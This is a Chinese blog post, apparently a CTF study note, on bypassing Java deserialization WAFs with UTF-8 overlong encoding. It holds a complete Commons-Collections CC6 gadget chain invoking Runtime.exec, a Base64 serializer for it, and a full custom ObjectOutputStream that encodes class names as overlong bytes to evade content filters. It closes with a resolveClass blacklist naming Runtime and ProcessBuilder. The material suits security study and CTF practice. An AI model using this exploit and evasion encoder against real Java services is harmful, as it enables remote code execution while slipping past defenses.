Java 编码绕过

上午台州市赛web做完闲逛的时候看到的 学习一下

UTF-8 Overlong Encoding

utf-8可以将unicode的字符 通过某种计算转化成1-4位的字符 转化的逻辑如下

1
2
3
4
5
6
(十六进制) | (二进制)
--------------------+---------------------------------------------
0000 0000-0000 007F | 0xxxxxxx
0000 0080-0000 07FF | 110xxxxx 10xxxxxx
0000 0800-0000 FFFF | 1110xxxx 10xxxxxx 10xxxxxx
0001 0000-0010 FFFF | 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

这样 通过更长的编码长度 可以表示不同的字符

在java反序列化的过程中 也体现了这一点 在ObjectinputStream#readUTFSpan中会把buf中的内容解码出utf-8编码的字符 调用栈如下

image-20241015223911921

image-20241015223954995

可以看到这里写出了不同情况下的处理方式

一字节的字符 直接char转换

二字节的字符 先判断他的字符串是否合法 通过位运算将这两个字节合并为一个字符,并存储到cbuf

1
2
3
4
5
6
7
8
case 13:  // 2 byte format: 110xxxxx 10xxxxxx
b2 = buf[pos++];
if ((b2 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x1F) << 6) |
((b2 & 0x3F) << 0));
break;

如果是三个字节的 计算方式同二字节

1
2
3
4
5
6
7
8
9
10
b3 = buf[pos + 1];
b2 = buf[pos + 0];
pos += 2;
if ((b2 & 0xC0) != 0x80 || (b3 & 0xC0) != 0x80) {
throw new UTFDataFormatException();
}
cbuf[cpos++] = (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
break;

这里的拼接过程 意味着我们可以将一个字节的字符修改修改为两个字节的编码

比如a的二进制是

1
01100001

按照这个代码逻辑 我们可以成功构造出形如

1
11000001 10100001

的字符组合 0xc1a1并不是一个合法的utf-8 字符串 但是仍然是符合要求生成的

1
2
3
4
byte b1= (byte) 0xc1;
byte b2 = (byte)0xa1;
Character a = (char) (((b1 & 0x1F) << 6) | ((b2 & 0x3F) << 0));
System.out.println(a);

image-20241016163533602

同理 三个字节也可以

1
11100000 10000001 10100001  #0xe081a1

image-20241016164741469

可以帮我们绕过一些对序列化 字符串的绕过

使用以下代码构造一个简单的cc6链子反序列化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bbb");
lazymap.remove("aaa");
Class lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
System.out.println((serializeAndEncode(map2)));
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("bin.ser"));
oos.writeObject(obj);
}
public static String serializeAndEncode(Object obj) throws Exception {
try (ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream)) {
objectOutputStream.writeObject(obj);
objectOutputStream.close();
byte[] serializedBytes = byteArrayOutputStream.toByteArray();
return Base64.getEncoder().encodeToString(serializedBytes);
} catch (Exception e) {
e.printStackTrace();
throw e;
}
}

输出

image-20241015215115646

这里的字符串 我们decode 以下

image-20241016165430499

非常明显的反序列字符串格式 我们可以想办法构造这样的字符串来进行绕过

贴一下来自1ue师傅的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
package org.example.utf_coding;

import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.io.ObjectStreamClass;
import java.io.ObjectStreamField;
import java.io.ObjectStreamConstants;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Base64;

public class codingObjectOutputStream extends ObjectOutputStream {
private static HashMap<Character, int[]> map;

static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
map.put('$', new int[]{0xc0, 0xa4});
map.put('[', new int[]{0xc1, 0x9b});
map.put(']', new int[]{0xc1, 0x9d});
map.put('a', new int[]{0xc1, 0xa1});
map.put('b', new int[]{0xc1, 0xa2});
map.put('c', new int[]{0xc1, 0xa3});
map.put('d', new int[]{0xc1, 0xa4});
map.put('e', new int[]{0xc1, 0xa5});
map.put('f', new int[]{0xc1, 0xa6});
map.put('g', new int[]{0xc1, 0xa7});
map.put('h', new int[]{0xc1, 0xa8});
map.put('i', new int[]{0xc1, 0xa9});
map.put('j', new int[]{0xc1, 0xaa});
map.put('k', new int[]{0xc1, 0xab});
map.put('l', new int[]{0xc1, 0xac});
map.put('m', new int[]{0xc1, 0xad});
map.put('n', new int[]{0xc1, 0xae});
map.put('o', new int[]{0xc1, 0xaf});
map.put('p', new int[]{0xc1, 0xb0});
map.put('q', new int[]{0xc1, 0xb1});
map.put('r', new int[]{0xc1, 0xb2});
map.put('s', new int[]{0xc1, 0xb3});
map.put('t', new int[]{0xc1, 0xb4});
map.put('u', new int[]{0xc1, 0xb5});
map.put('v', new int[]{0xc1, 0xb6});
map.put('w', new int[]{0xc1, 0xb7});
map.put('x', new int[]{0xc1, 0xb8});
map.put('y', new int[]{0xc1, 0xb9});
map.put('z', new int[]{0xc1, 0xba});
map.put('A', new int[]{0xc1, 0x81});
map.put('B', new int[]{0xc1, 0x82});
map.put('C', new int[]{0xc1, 0x83});
map.put('D', new int[]{0xc1, 0x84});
map.put('E', new int[]{0xc1, 0x85});
map.put('F', new int[]{0xc1, 0x86});
map.put('G', new int[]{0xc1, 0x87});
map.put('H', new int[]{0xc1, 0x88});
map.put('I', new int[]{0xc1, 0x89});
map.put('J', new int[]{0xc1, 0x8a});
map.put('K', new int[]{0xc1, 0x8b});
map.put('L', new int[]{0xc1, 0x8c});
map.put('M', new int[]{0xc1, 0x8d});
map.put('N', new int[]{0xc1, 0x8e});
map.put('O', new int[]{0xc1, 0x8f});
map.put('P', new int[]{0xc1, 0x90});
map.put('Q', new int[]{0xc1, 0x91});
map.put('R', new int[]{0xc1, 0x92});
map.put('S', new int[]{0xc1, 0x93});
map.put('T', new int[]{0xc1, 0x94});
map.put('U', new int[]{0xc1, 0x95});
map.put('V', new int[]{0xc1, 0x96});
map.put('W', new int[]{0xc1, 0x97});
map.put('X', new int[]{0xc1, 0x98});
map.put('Y', new int[]{0xc1, 0x99});
map.put('Z', new int[]{0xc1, 0x9a});
}

public codingObjectOutputStream(OutputStream out) throws IOException {
super(out);
}

@Override
protected void writeObjectOverride(Object obj) throws IOException {
if (obj instanceof String) {
String originalString = (String) obj;
StringBuilder transformedString = new StringBuilder();
for (char c : originalString.toCharArray()) {
if (map.containsKey(c)) {
int[] transformedChars = map.get(c);
for (int transformedChar : transformedChars) {
transformedString.append((char) transformedChar);
}
} else {
transformedString.append(c);
}
}
String encodedString = Base64.getEncoder().encodeToString(transformedString.toString().getBytes("UTF-8"));
super.writeObject(encodedString);
} else {
super.writeObject(obj);
}
}

@Override
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
String name = desc.getName();
writeShort(name.length() * 2);
for (int i = 0; i < name.length(); i++) {
char s = name.charAt(i);
if (map.containsKey(s)) {
write(map.get(s)[0]);
write(map.get(s)[1]);
} else {
write(s >> 8);
write(s & 0xFF);
}
}
writeLong(desc.getSerialVersionUID());
try {
byte flags = 0;
if ((boolean) getFieldValue(desc, "externalizable")) {
flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
Field protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
protocolField.setAccessible(true);
int protocol = (int) protocolField.get(this);
if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
flags |= ObjectStreamConstants.SC_BLOCK_DATA;
}
} else if ((boolean) getFieldValue(desc, "serializable")) {
flags |= ObjectStreamConstants.SC_SERIALIZABLE;
}
if ((boolean) getFieldValue(desc, "hasWriteObjectData")) {
flags |= ObjectStreamConstants.SC_WRITE_METHOD;
}
if ((boolean) getFieldValue(desc, "isEnum")) {
flags |= ObjectStreamConstants.SC_ENUM;
}
writeByte(flags);
ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
writeShort(fields.length);
for (ObjectStreamField f : fields) {
writeByte(f.getTypeCode());
writeUTF(f.getName());
if (!f.isPrimitive()) {
Method writeTypeString = ObjectOutputStream.class.getDeclaredMethod("writeTypeString", String.class);
writeTypeString.setAccessible(true);
writeTypeString.invoke(this, f.getTypeString());
}
}
} catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
throw new RuntimeException(e);
}
}

public static Object getFieldValue(Object object, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class<?> clazz = object.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(object);
}
}

这种绕过waf的方式还是比较鸡肋的 只能绕过那些检测序列化字符串内容的waf 如果是这种

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected Class<?> resolveClass(ObjectStreamClass input) throws IOException, ClassNotFoundException {
if (BLACKLIST.contains(input.getName())) {
System.out.println(input.getName());
throw new SecurityException("Hacker!!");
} else {
return super.resolveClass(input);
}
}

static {
BLACKLIST.add("java.lang.Runtime");
BLACKLIST.add("java.lang.ProcessBuilder");
BLACKLIST.add("java.util.PriorityQueue");
}

就不能绕过 因为resolveClass的执行过程实在getnameclass这个步骤之后 就不能绕过了